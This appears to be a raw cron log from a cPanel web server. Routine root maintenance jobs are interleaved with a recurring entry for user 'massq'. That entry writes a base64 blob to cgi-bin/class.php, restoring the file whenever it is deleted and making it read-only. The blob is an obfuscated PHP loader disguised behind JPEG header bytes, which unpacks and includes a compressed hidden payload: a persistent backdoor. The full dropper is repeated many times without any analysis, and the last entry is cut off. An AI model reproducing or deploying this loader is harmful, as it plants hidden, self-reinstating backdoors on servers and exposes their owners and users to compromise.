Sep 11 16:20:01 server CROND[18018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:20:01 server CROND[18022]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 16:20:01 server CROND[18025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:20:01 server CROND[18026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:20:01 server CROND[18029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:20:01 server CROND[18027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:21:01 server CROND[19017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:21:01 server CROND[19018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:21:01 server CROND[19019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:22:01 server CROND[19414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:22:01 server CROND[19415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:22:01 server CROND[19416]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:23:01 server CROND[20133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:23:01 server CROND[20134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:23:01 server CROND[20135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:24:01 server CROND[20605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:24:01 server CROND[20606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:24:01 server CROND[20607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:25:01 server CROND[20987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:25:01 server CROND[20989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:25:01 server CROND[20994]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 16:25:01 server CROND[21006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:25:01 server CROND[21005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:25:01 server CROND[21007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:25:01 server CROND[21008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:25:01 server CROND[21010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:26:01 server CROND[21852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:26:01 server CROND[21853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:26:01 server CROND[21854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:27:01 server CROND[22233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:27:01 server CROND[22234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:27:01 server CROND[22235]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 16:27:01 server CROND[22236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:28:01 server CROND[22673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:28:01 server CROND[22674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:28:01 server CROND[22672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:29:01 server CROND[23268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:29:01 server CROND[23269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:29:01 server CROND[23270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:30:01 server CROND[23692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 16:30:01 server CROND[23694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 16:30:01 server CROND[23698]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 16:30:01 server CROND[23699]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 16:30:01 server CROND[23700]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 16:30:01 server CROND[23696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 16:30:01 server CROND[23701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 16:30:01 server CROND[23703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:30:01 server CROND[23697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:31:01 server CROND[24527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 16:31:01 server CROND[24528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 16:31:01 server CROND[24529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > 